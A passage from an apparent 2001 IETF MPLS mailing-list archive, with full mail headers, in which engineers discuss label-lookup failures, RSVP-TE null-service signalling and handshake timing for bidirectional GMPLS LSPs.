	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqgo19427
	for <mpls@UU.NET>; Wed, 23 May 2001 14:33:26 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA14019
	for <mpls@UU.NET>; Wed, 23 May 2001 10:33:18 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA03172
	for <mpls@UU.NET>; Wed, 23 May 2001 10:33:16 -0400 (EDT)
Message-ID: <3B0BCA23.C9DA581B@marconi.com>
Date: Wed, 23 May 2001 10:33:07 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com> <003001c0e375$b8cd1260$150d85a5@dti.daewoo.co.kr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Akshat Kapoor wrote:
> 
>     Refer to rfc 3031 section 3.18 and 3.22. If the LSR can
> determine through some external means that forwarding the packet is
> not going to result in a loop (or any other harm) than it can
> forward the packet.

And this is a big IF.  When LDP or CR-LDP are used to signal the LSP, a
transit router has no way of knowing for certain if the payload contains
IP packets or something else.  (RSVP-TE carries the L3 protocol ID in
the LABEL_REQUEST objects, so transit routers should know if the payload
is IP or not, assuming that the ingress node didn't lie about it.)

> Otherwise it MUST drop the packet.  The rfc is silent about
> generating ICMP messages in such a situation.

ICMP is only meaningful if the payload is IP.  If it's something else,
ICMP would be completely inappropriate.

-- David


From owner-mpls@UU.NET  Wed May 23 10:41:10 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA06212
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 10:41:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgo18655;
	Wed, 23 May 2001 14:39:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgo07375
	for mpls-outgoing; Wed, 23 May 2001 14:38:26 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqgo07349
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 14:38:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqgo19864
	for <mpls@UU.NET>; Wed, 23 May 2001 14:38:04 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqgo12917
	for <mpls@UU.NET>; Wed, 23 May 2001 14:38:03 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA14509
	for <mpls@UU.NET>; Wed, 23 May 2001 10:38:01 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA04245
	for <mpls@UU.NET>; Wed, 23 May 2001 10:37:53 -0400 (EDT)
Message-ID: <3B0BCB11.2948CC73@marconi.com>
Date: Wed, 23 May 2001 10:37:05 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Sherry Wei wrote:
> 
> I have a doubt about the real operation in the case that the LSR
> can't find the according ILM or NHLFE.

If the ILM is not found, then the packet is dropped.  There is no
question about this.

If there is an ILM but no NHLFE, then the router will probably drop the
packet.  If the router is able to forward the payload without looping
(which implies that the router knows what the L3 protocol is), then it
may pop the label and forward the payload as an unlabeled packet.  If it
can not be certain what the payload is, or can not guarantee that it
won't loop, then it must drop the packet.

-- David


From owner-mpls@UU.NET  Wed May 23 10:51:58 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA06432
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 10:51:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgp20192;
	Wed, 23 May 2001 14:49:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgp08771
	for mpls-outgoing; Wed, 23 May 2001 14:48:44 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqgp08741
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 14:48:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqgp21648
	for <mpls@uu.net>; Wed, 23 May 2001 14:48:23 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f61.law4.hotmail.com [216.33.149.61])
	id QQkqgp03381
	for <mpls@uu.net>; Wed, 23 May 2001 14:48:22 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 23 May 2001 07:48:22 -0700
Received: from 192.35.17.233 by lw4fd.law4.hotmail.msn.com with HTTP;	Wed, 23 May 2001 14:48:21 GMT
X-Originating-IP: [192.35.17.233]
From: "Sherry Wei" <sherry_wei@hotmail.com>
To: david.charlap@marconi.com
Cc: mpls@UU.NET
Subject: Re: What to do when label has error?
Date: Wed, 23 May 2001 14:48:21 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F61DgC81TbdkSmLAztx0001b250@hotmail.com>
X-OriginalArrivalTime: 23 May 2001 14:48:22.0175 (UTC) FILETIME=[69D8B2F0:01C0E397]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

ILM is incoming label mapping. I guess if the route can't find ILM entrance 
according to the incoming label. It still can strip off the label stack and 
send to IP forwarding processing. Only in the case of FEC can't find, the 
packet has to be dropped definitely.

sherry

>From: David Charlap <david.charlap@marconi.com>
>To: mpls@UU.NET
>Subject: Re: What to do when label has error?
>Date: Wed, 23 May 2001 10:37:05 -0400
>
>Sherry Wei wrote:
> >
> > I have a doubt about the real operation in the case that the LSR
> > can't find the according ILM or NHLFE.
>
>If the ILM is not found, then the packet is dropped.  There is no
>question about this.
>
>If there is an ILM but no NHLFE, then the router will probably drop the
>packet.  If the router is able to forward the payload without looping
>(which implies that the router knows what the L3 protocol is), then it
>may pop the label and forward the payload as an unlabeled packet.  If it
>can not be certain what the payload is, or can not guarantee that it
>won't loop, then it must drop the packet.
>
>-- David

_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



From owner-mpls@UU.NET  Wed May 23 11:15:52 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA07011
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 11:15:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgq18993;
	Wed, 23 May 2001 15:12:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgq00357
	for mpls-outgoing; Wed, 23 May 2001 15:12:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqgq00334
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 15:12:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqgq18919
	for <mpls@uu.net>; Wed, 23 May 2001 15:10:54 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkqgq08172
	for <mpls@uu.net>; Wed, 23 May 2001 15:10:54 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4NFArU23540
	for <mpls@uu.net>; Wed, 23 May 2001 08:10:53 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA03506 for mpls@uu.net; Wed, 23 May 2001 11:10:52 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqfz20330
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 10:47:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqfz03607
	for <mpls@uu.net>; Wed, 23 May 2001 10:47:13 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f55.law10.hotmail.com [64.4.15.55])
	id QQkqfz13041
	for <mpls@uu.net>; Wed, 23 May 2001 10:47:13 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 23 May 2001 03:47:12 -0700
Received: from 203.190.136.98 by lw10fd.law10.hotmail.msn.com with HTTP;	Wed, 23 May 2001 10:47:11 GMT
X-Originating-IP: [203.190.136.98]
From: "Sumit Chauhan" <suchauhan@hotmail.com>
To: sherry_wei@hotmail.com, mpls@UU.NET
Subject: Re: What to do when label has error?
Date: Wed, 23 May 2001 10:47:11 
Mime-Version: 1.0
Content-Type: text/html
Message-ID: <F55UsebmspH2q6DqaJY000009d8@hotmail.com>
X-OriginalArrivalTime: 23 May 2001 10:47:12.0946 (UTC) FILETIME=[B9839120:01C0E375]
Sender: owner-mpls@UU.NET
Precedence: bulk

<html><DIV>
<P>hi sherry!</P>
<P>In case we are not able to find a FEC mapping for an incoming laeled packet it should be dropped. this is basically due to two resons.</P>
<P>1. to prevent loops that may arise if we try and forward it using the IP header embedded inside.</P>
<P>2. The IP header itself may not have enough information for us to be able to forward it.</P>
<P>&nbsp;</P>
<P>regards,</P>
<P>sumit</P>
<P><BR><BR>&nbsp;</P></DIV>
<DIV></DIV>
<DIV></DIV>&gt;From: "Sherry Wei" <SHERRY_WEI@HOTMAIL.COM>
<DIV></DIV>&gt;To: mpls@UU.NET 
<DIV></DIV>&gt;Subject: What to do when label has error? 
<DIV></DIV>&gt;Date: Wed, 23 May 2001 10:08:27 +0000 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Hello, 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;I have a doubt about the real operation in the case that the LSR can't find 
<DIV></DIV>&gt;the according ILM or NHLFE. What will it do then? Drop the packet and send 
<DIV></DIV>&gt;the ICMP message to the source, or strip off the label stack and deal with 
<DIV></DIV>&gt;the packet with IP forwarding meanwhile send the ICMP message? 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Sherry 
<DIV></DIV>&gt;_________________________________________________________________________ 
<DIV></DIV>&gt;Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. 
<DIV></DIV>&gt; 
<DIV></DIV>&gt; 
<DIV></DIV><br clear=all><hr>Get Your Private, Free E-mail from MSN Hotmail at <a href="http://www.hotmail.com">http://www.hotmail.com</a>.<br></p></html>



From owner-mpls@UU.NET  Wed May 23 11:50:20 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA07880
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 11:50:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgt13344;
	Wed, 23 May 2001 15:45:48 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgt04415
	for mpls-outgoing; Wed, 23 May 2001 15:45:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqgt04319
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 15:45:06 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqgs08309
	for <mpls@UU.NET>; Wed, 23 May 2001 15:44:49 GMT
Received: from ganymede.or.intel.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: jffdns01.or.intel.com [134.134.248.3])
	id QQkqgs12504
	for <mpls@UU.NET>; Wed, 23 May 2001 15:44:44 GMT
Received: from SMTP (orsmsxvs02-1.jf.intel.com [192.168.65.201])
	by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.39 2001/05/18 00:47:02 root Exp $) with SMTP id PAA26650;
	Wed, 23 May 2001 15:44:36 GMT
Received: from orsmsx28.jf.intel.com ([192.168.70.28]) by 192.168.70.201
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Wed, 23 May 2001 15:44:35 0000 (GMT)
Received: by orsmsx28.jf.intel.com with Internet Mail Service (5.5.2653.19)
	id <LGP8DW3T>; Wed, 23 May 2001 08:44:34 -0700
Message-ID: <4148FEAAD879D311AC5700A0C969E89006E18B2D@orsmsx35.jf.intel.com>
From: "Gross, Gerhard" <gerhard.gross@intel.com>
To: "'David Charlap'" <david.charlap@marconi.com>, mpls@UU.NET
Subject: RE: RSVP-TE Tspec and Flowspec object for Class-of-Service servic
	e
Date: Wed, 23 May 2001 08:12:25 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

> (Eric, George: Any possibility of inserting a pointer to RFC 
> 2997 and a
> paragraph of text describing its use somewhere in the draft 
> so that this
> question doesn't get repeated until the end of time?)

Please!

> -----Original Message-----
> From: David Charlap [mailto:david.charlap@marconi.com]
> Sent: Tuesday, May 22, 2001 4:22 PM
> To: mpls@UU.NET
> Subject: Re: RSVP-TE Tspec and Flowspec object for Class-of-Service
> service
> 
> 
> Hong Liao wrote:
> > 
> > I found the new draft of RSVP-TE 08.txt, there is no more section
> > 4.8 ----- Tspec and Flowspec object for class -of-service service.
> > 
> > I was wondering whether it has been taken out of the new draft or
> > not, since it was in the old draft rsvp-te 07.txt.
> > Can anyone tell me if it should be there or no more?
> 
> Yes, it is gone.
> 
> Best-effort LSPs in RSVP should now be signalled using the 
> IntServ Null
> Service, using the IntServ CType (2) for the SENDER_TSPEC, ADSPEC and
> FLOWSPEC objects.
> 
> See RFC 2997 for the IntServ Null Service.
> 
> (Eric, George: Any possibility of inserting a pointer to RFC 
> 2997 and a
> paragraph of text describing its use somewhere in the draft 
> so that this
> question doesn't get repeated until the end of time?)
> 
> -- David
> 



From owner-mpls@UU.NET  Wed May 23 11:53:07 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA07938
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 11:53:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgt01723;
	Wed, 23 May 2001 15:50:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgt04909
	for mpls-outgoing; Wed, 23 May 2001 15:49:43 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqgt04894
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 15:49:37 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqgt13749
	for <mpls@uu.net>; Wed, 23 May 2001 15:49:05 GMT
Received: from cmailg3.svr.pol.co.uk by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmailg3.svr.pol.co.uk [195.92.195.173])
	id QQkqgt01149
	for <mpls@uu.net>; Wed, 23 May 2001 15:49:04 GMT
Received: from [195.92.168.141] (helo=tmailb1.svr.pol.co.uk)
	by cmailg3.svr.pol.co.uk with esmtp (Exim 3.13 #0)
	id 152ase-0007j1-00; Wed, 23 May 2001 16:49:00 +0100
Received: from modem-99.yellow-billed-loon.dialup.pol.co.uk ([62.137.220.99] helo=BLIULAPTOP)
	by tmailb1.svr.pol.co.uk with esmtp (Exim 3.13 #0)
	id 152asc-0002rU-00; Wed, 23 May 2001 16:48:58 +0100
Message-ID: <01f801c0e39f$76749170$e9dc893e@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: "Adam Shepherd" <AS@dataconnection.com>
Cc: <ccamp@ops.ietf.org>, <mpls@UU.NET>
References: <B39CB32FD64DD511841200B0D0AB16F8061DB2@baker.datcon.co.uk>
Subject: Re: Timing of the upstream data path establishment
Date: Wed, 23 May 2001 11:44:15 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
Sender: owner-mpls@UU.NET
Precedence: bulk

Adam,
I should refer you to the archive on this point which has been discussed before.

The drafts state that the reverse direction (tail to head) reservation and
programming must be completed before the Path/Label Request can be forwarded,
but this, I believe, ignored by many people.

The bottom line was that it is solely an issue for the tail end (aka egress) to
decide when to start sending data.  There are many approaches that it can take
to determine this and, as you point out, requesting ResvConf is a good one.
Another is to 'know' that the network has behaved as specified in the draft
(either by increasing the latency or by having speedy hardware).

A further choice is for the tail end to wait a period of time before sending
data.  If all nodes in the network come from the same supplier, they will take
roughly the same time to program so once the tail end is programmed, all the
others should be ready.

The tail could even wait until it sees light on the forward path before turning
on the reverse path.

Your third option (add RESV_CONFIRM to Path if you believe your node's hardware
programming may be too slow) is an interesting flag that might interest SPs when
they're buying equipment. "Look," it says, "this hardware takes a long time to
program, and everyone else needs to adapt to it."

Finally, perhaps you could suggest how this would be applied to CR-LDP.

Have fun,
Adrian
--
Adrian Farrel
Movaz Networks Inc.
afarrel@movaz.com
----- Original Message -----
From: "Adam Shepherd" <AS@dataconnection.com>
To: <ccamp@ops.ietf.org>; <mpls@uu.net>
Sent: Wednesday, May 23, 2001 10:05 AM
Subject: Timing of the upstream data path establishment


> Hi all
>
> We have been considering some issues regarding the timing of the
> establishment of the reverse direction data path for bidirectional LSPs in
> RSVP GMPLS.  We would be interested in input from the mailing list on
> whether these problems are significant, and if so, whether there is a strong
> enough case for modifying the drafts at this stage.
>
> The key factor is whether bidirectional LSP establishment is a 2-way
> handshake (Path, Resv), as currently, or a 3-way one (Path, Resv and
> mandatory ResvConf).  We believe that the 3-way handshake, as used in the
> OIF OUNI, potentially offers significant reductions in latency of
> establishing bidirectional LSPs for LSRs where hardware programming is slow.
> The motivation here is the same as for Suggested Label (described in
> draft-ietf-mpls-generalized-signaling section 3.4).
>
> 2-way handshake
> ---------------
>
> With 2-way handshaking, the egress LSR can send reverse direction data as
> soon as it receives the Path (as in GMPLS
> draft-ietf-mpls-generalized-rsvp-te, section 3.1, paragraph 4).  Transit
> LSRs must program the reverse direction data path before forwarding the Path
> across the network or there is a risk that reverse direction data will be
> lost.  ResvConf is optional, and if sent it does not affect the timing of
> the setup of the data path.
>
> The benefits of this are as follows.
>
> * If the significant factor in latency is message propagation, then
> the latency for establishment of the reverse direction data path is one
> third as long as 3-way handshaking (the time taken for the Path message to
> cross the network, rather than Path, Resv, ResvConf).  Arguably, reverse
> direction latency is less important than downstream - the initiating LSR is
> the one that triggered the LSP establishment, so is more likely to have the
> immediate requirement to send data.
>
> * Less signaling traffic and less processing required.  However
> ResvConf processing is probably not a very large proportion of overall load.
>
> 3-way handshake
> ---------------
>
> In this approach, ResvConf becomes mandatory for bidirectional LSPs, and the
> egress LSR cannot send reverse direction data until it has received this
> message (those familiar with the OIF OUNI will note this matches
> oif2000-125.4 Section 12.4.8, figure 12.1).  Transit LSRs may forward the
> Path message before completing reverse direction data path programming.
>
> The advantage of 3-way handshaking is as follows.  If hardware programming
> is the significant factor in latency, then latency is significantly reduced
> as we can parallelize hardware programming at each LSR.  Each LSR can start
> programming on receipt of the Path message (based on the Upstream Label and
> Suggested Label), but forward the message immediately.  The total latency is
> dominated by the maximum of each LSR's programming latency, rather than the
> sum.
>
> Dynamic selection
> -----------------
>
> As a third option, we propose a possible solution to support either 2-way or
> 3-way handshaking in RSVP GMPLS, at the choice of the LSRs involved.  By
> default, 2-way handshaking is used.  However, any LSR can delay programming,
> in which case, the egress LSR must be informed that a 3-way handshake is
> required.  The requirement for 3-way handshaking must be indicated in the
> Path message, and we propose using a RESV_CONFIRM object on the Path message
> to do so.
>
> In more detail, this works as follows.
>
> * Any ingress or transit LSR MAY elect to enable 3-way handshaking and
> forward the Path message before completing programming of the reverse
> direction data path.  Typically it would do so because hardware programming
> is slow.  If it elects to do so, it MUST add a RESV_CONFIRM object to the
> Path message.
>
> * A transit LSR receiving a Path message with a RESV_CONFIRM object
> SHOULD forward the Path message before completing programming of the reverse
> direction data path.  However it MAY choose not to do so.
>
> * An egress LSR receiving a Path message with a RESV_CONFIRM object
> SHOULD include its own RESV_CONFIRM object in the Resv and it SHOULD NOT
> start to send reverse direction data until it receives the ResvConf message.
> (If it does send sooner, then data may be lost).
>
> * Each LSR MUST complete programming of both directions before
> forwarding the Resv message.
>
> Moving Forward
> --------------
>
> We would be interested to get feedback from readers of this list on which
> option is preferred.  If it is felt that dynamic selection is best, then is
> the solution we have proposed suitable?
>
> Regards,
> Adam
>
>
> Adam Shepherd
> Network Convergence Group
> Data Connection Ltd
> -------------------
>
> Tel: +44 (0) 20 8366 1177                Fax: +44 (0) 20 8363 1468
> Email: adam.shepherd@dataconnection.com  Web: http://www.dataconnection.com
>




From owner-mpls@UU.NET  Wed May 23 12:02:01 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA08192
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 12:02:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgt22876;
	Wed, 23 May 2001 15:57:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgt05815
	for mpls-outgoing; Wed, 23 May 2001 15:57:12 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqgt05799
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 15:57:06 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqgt25309
	for <mpls@uu.net>; Wed, 23 May 2001 15:55:24 GMT
Received: from radiant.chromisys.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: radiant.calient.net [63.102.55.206])
	id QQkqgt18608
	for <mpls@uu.net>; Wed, 23 May 2001 15:55:23 GMT
Received: by radiant.chromisys.com with Internet Mail Service (5.5.2653.19)
	id <LD7RL4ZB>; Wed, 23 May 2001 08:50:37 -0700
Message-ID: <A1AFE5CF886C5D439494D9D5DE84EEF3737041@radiant.chromisys.com>
From: John Drake <jdrake@calient.net>
To: "'Adam Shepherd'" <AS@dataconnection.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: Timing of the upstream data path establishment
Date: Wed, 23 May 2001 08:50:33 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Adam,

I don't think that this is an issue.  Suggested label allows a node to begin
to establish the forward direction as it progresses the Path message.  Since
it controls the labels in the reverse direction, it can also begin to
establish the reverse direction concurrently.

Thanks,

John
-----Original Message-----
From: Adam Shepherd [mailto:AS@dataconnection.com]
Sent: Wednesday, May 23, 2001 7:06 AM
To: ccamp@ops.ietf.org; mpls@uu.net
Subject: Timing of the upstream data path establishment


Hi all

We have been considering some issues regarding the timing of the
establishment of the reverse direction data path for bidirectional LSPs in
RSVP GMPLS.  We would be interested in input from the mailing list on
whether these problems are significant, and if so, whether there is a strong
enough case for modifying the drafts at this stage.

The key factor is whether bidirectional LSP establishment is a 2-way
handshake (Path, Resv), as currently, or a 3-way one (Path, Resv and
mandatory ResvConf).  We believe that the 3-way handshake, as used in the
OIF OUNI, potentially offers significant reductions in latency of
establishing bidirectional LSPs for LSRs where hardware programming is slow.
The motivation here is the same as for Suggested Label (described in
draft-ietf-mpls-generalized-signaling section 3.4).

2-way handshake
---------------

With 2-way handshaking, the egress LSR can send reverse direction data as
soon as it receives the Path (as in GMPLS
draft-ietf-mpls-generalized-rsvp-te, section 3.1, paragraph 4).  Transit
LSRs must program the reverse direction data path before forwarding the Path
across the network or there is a risk that reverse direction data will be
lost.  ResvConf is optional, and if sent it does not affect the timing of
the setup of the data path.

The benefits of this are as follows.

*	If the significant factor in latency is message propagation, then
the latency for establishment of the reverse direction data path is one
third as long as 3-way handshaking (the time taken for the Path message to
cross the network, rather than Path, Resv, ResvConf).  Arguably, reverse
direction latency is less important than downstream - the initiating LSR is
the one that triggered the LSP establishment, so is more likely to have the
immediate requirement to send data.

*	Less signaling traffic and less processing required.  However
ResvConf processing is probably not a very large proportion of overall load.

3-way handshake
---------------

In this approach, ResvConf becomes mandatory for bidirectional LSPs, and the
egress LSR cannot send reverse direction data until it has received this
message (those familiar with the OIF OUNI will note this matches
oif2000-125.4 Section 12.4.8, figure 12.1).  Transit LSRs may forward the
Path message before completing reverse direction data path programming.

The advantage of 3-way handshaking is as follows.  If hardware programming
is the significant factor in latency, then latency is significantly reduced
as we can parallelize hardware programming at each LSR.  Each LSR can start
programming on receipt of the Path message (based on the Upstream Label and
Suggested Label), but forward the message immediately.  The total latency is
dominated by the maximum of each LSR's programming latency, rather than the
sum.

Dynamic selection
-----------------

As a third option, we propose a possible solution to support either 2-way or
3-way handshaking in RSVP GMPLS, at the choice of the LSRs involved.  By
default, 2-way handshaking is used.  However, any LSR can delay programming,
in which case, the egress LSR must be informed that a 3-way handshake is
required.  The requirement for 3-way handshaking must be indicated in the
Path message, and we propose using a RESV_CONFIRM object on the Path message
to do so.

In more detail, this works as follows.

*	Any ingress or transit LSR MAY elect to enable 3-way handshaking and
forward the Path message before completing programming of the reverse
direction data path.  Typically it would do so because hardware programming
is slow.  If it elects to do so, it MUST add a RESV_CONFIRM object to the
Path message.

*	A transit LSR receiving a Path message with a RESV_CONFIRM object
SHOULD forward the Path message before completing programming of the reverse
direction data path.  However it MAY choose not to do so.

*	An egress LSR receiving a Path message with a RESV_CONFIRM object
SHOULD include its own RESV_CONFIRM object in the Resv and it SHOULD NOT
start to send reverse direction data until it receives the ResvConf message.
(If it does send sooner, then data may be lost).

*	Each LSR MUST complete programming of both directions before
forwarding the Resv message.

Moving Forward
--------------

We would be interested to get feedback from readers of this list on which
option is preferred.  If it is felt that dynamic selection is best, then is
the solution we have proposed suitable?

Regards,
Adam


Adam Shepherd
Network Convergence Group
Data Connection Ltd
-------------------

Tel: +44 (0) 20 8366 1177                Fax: +44 (0) 20 8363 1468
Email: adam.shepherd@dataconnection.com  Web: http://www.dataconnection.com


From owner-mpls@UU.NET  Wed May 23 12:17:38 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA08761
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 12:17:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgu09945;
	Wed, 23 May 2001 16:12:14 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgu26583
